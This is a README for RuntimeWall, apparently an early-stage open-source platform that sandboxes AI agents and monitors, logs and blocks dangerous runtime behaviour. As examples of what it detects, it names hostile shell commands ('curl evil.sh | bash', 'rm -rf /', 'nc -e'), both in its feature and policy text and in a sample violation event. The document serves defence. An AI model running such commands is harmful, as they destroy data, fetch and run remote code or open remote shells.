RuntimeWall

Project status: Early development. The Go API (apps/api) includes sandbox orchestration, real-time terminals, and runtime security monitoring (event stream, threat detection, policy enforcement). Other components are landing incrementally — see the roadmap and open issues.

AI agents are rapidly gaining:

• Filesystem access
• Terminal execution
• Browser automation
• GitHub permissions
• Cloud infrastructure control
• Autonomous deployment capabilities

The ecosystem still lacks:

• Runtime isolation
• AI-native security and governance
• Observability and session replay
• MCP protection
• Threat detection at execution time

RuntimeWall is building the missing infrastructure layer.

Think Kubernetes + CrowdStrike + Browserbase + Vault — for AI agents.

RuntimeWall is an open-source runtime platform for running autonomous AI agents inside isolated execution environments. It is designed to provide:

Planned capabilities — see roadmap for delivery phases.

Run agents such as Claude Code, Codex, OpenHands, Aider, or custom agents inside isolated runtime environments.

Detect and block dangerous behavior before or during execution, including:

• Dangerous shell commands (e.g. curl evil.sh | bash, rm -rf /)
• Prompt injection patterns
• Secret exfiltration
• Malicious package installs
• Suspicious network activity

Replay and audit:

• Terminal commands
• Prompts and model I/O
• Browser actions
• File changes
• Network activity

Execute MCP tools with:

• Isolated execution
• Permission boundaries
• Signed tool verification
• Runtime monitoring
• Tool-level access controls

Run browser agents using Playwright, isolated Chromium containers, session recording, and remote browser runtimes.

Agents do not receive long-lived credentials directly. Planned support for:

• Temporary, scoped credentials
• Secret proxying and runtime token injection
• Isolated environment boundaries

┌───────────────────────┐
│    Frontend UI        │
│  Next.js Dashboard    │
└──────────┬────────────┘
           │
           ▼
┌───────────────────────┐
│     API Gateway       │
│        Go API         │
└──────────┬────────────┘
           │
           ▼
┌───────────────────────┐
│ Runtime Orchestrator  │
│ Docker / Kubernetes   │
└──────────┬────────────┘
           │
           ▼
┌───────────────────────┐
│     AI Sandboxes      │
│ Claude / Codex / MCP  │
└──────────┬────────────┘
           │
           ▼
┌───────────────────────┐
│ Security Monitoring   │
│ Firewall + Observability │
└───────────────────────┘

• Docker sandbox runtime
• Web terminal attach
• Session management
• Runtime logs and command monitoring
• Dangerous command detection
• Basic runtime firewall

• Secret isolation and proxying
• Session replay
• MCP runtime security
• Browser runtime (Playwright)
• MCP security scanning

• Kubernetes runtime orchestration
• Multi-agent orchestration
• Distributed runtime scheduling
• GPU runtime support
• RBAC, SSO / SAML
• Governance policies and compliance tooling
• AI SOC dashboard, risk scoring, threat intelligence

Current layout:

RuntimeWall/
├── apps/
│   └── api/          # Go HTTP API
├── LICENSE
└── README.md

Target layout:

RuntimeWall/
├── apps/
│   ├── web/          # Next.js dashboard
│   └── api/          # Go API gateway
├── runtime/
│   ├── docker/
│   ├── security/
│   └── sandbox/
├── packages/
│   ├── cli/
│   └── sdk/
├── infra/
│   ├── docker/
│   ├── kubernetes/
│   └── monitoring/
└── docs/

• Go 1.22+
• Docker 24+ (required for sandbox endpoints)

git clone https://github.com/RuntimeWall/RuntimeWall.git
cd RuntimeWall

cd apps/api
go mod download
make run

Verify in another terminal:

# Health check
curl -s http://localhost:8080/health

# List sandboxes
curl -s http://localhost:8080/api/v1/sandboxes

# Launch isolated Ubuntu sandbox (save the "id" from the response)
curl -s -X POST http://localhost:8080/sandbox/create

# Open browser terminal (replace SANDBOX_ID)
open http://localhost:8080/terminal/SANDBOX_ID

The /sandbox/create endpoint returns id, container_id, image, and status.

CLI terminal attach (requires websocat):

websocat ws://localhost:8080/api/v1/sandboxes/SANDBOX_ID/attach

Runtime event monitoring (security layer v1):

# All runtime events (commands, installs, file ops, violations)
curl -s http://localhost:8080/api/v1/sandboxes/SANDBOX_ID/events | python3 -m json.tool

# Live event stream (SSE)
curl -N http://localhost:8080/api/v1/sandboxes/SANDBOX_ID/events/stream

# Live event stream (WebSocket) — use websocat or browser
websocat ws://localhost:8080/api/v1/sandboxes/SANDBOX_ID/events/ws

# View / update security policy
curl -s http://localhost:8080/api/v1/sandboxes/SANDBOX_ID/policy
curl -s -X PUT http://localhost:8080/api/v1/sandboxes/SANDBOX_ID/policy \
  -H "Content-Type: application/json" \
  -d '{"block_destructive_commands":true,"block_exfiltration":true,"block_network_tools":true,"block_package_installs":false,"readonly_filesystem":true}'

Dangerous commands (rm -rf /, curl evil.sh | bash, nc -e, etc.) are classified and blocked when policy requires it.

Example event:

{
  "sandbox_id": "abc123",
  "event": "policy_violation",
  "command": "rm -rf /",
  "threat": "destructive",
  "blocked": true,
  "reason": "destructive commands are blocked by policy",
  "timestamp": "2026-05-18T12:00:00Z"
}

A Next.js dashboard lives in apps/web with a sandbox table, a live security events feed (Server-Sent Events), an embedded xterm.js terminal connected to the WebSocket attach endpoint, and a per-sandbox policy editor.

cd apps/web
npm install
cp .env.local.example .env.local   # points NEXT_PUBLIC_API_URL at http://localhost:8080
npm run dev

Then open http://localhost:3000.

docker compose up

The future of software is increasingly autonomous. AI agents will deploy infrastructure, manage clusters, write production code, operate browsers, and automate security operations — but only safely if we add runtime isolation, observability, governance, and policy enforcement.

RuntimeWall aims to become the secure operating system for autonomous AI agents.

We welcome contributors — security researchers, infrastructure engineers, AI engineers, DevOps, and MCP ecosystem builders.

1. Fork the repository and create a branch:

   git checkout -b feat/your-feature

2. Commit your changes:

   git commit -m "Add your feature"

3. Push and open a pull request:

   git push origin feat/your-feature

Please open an issue before large changes so we can align on design.

For security vulnerabilities, please do not open a public issue — contact the maintainers privately (see SECURITY.md when published).

Apache License 2.0

RuntimeWall — Security and governance infrastructure for autonomous AI agents.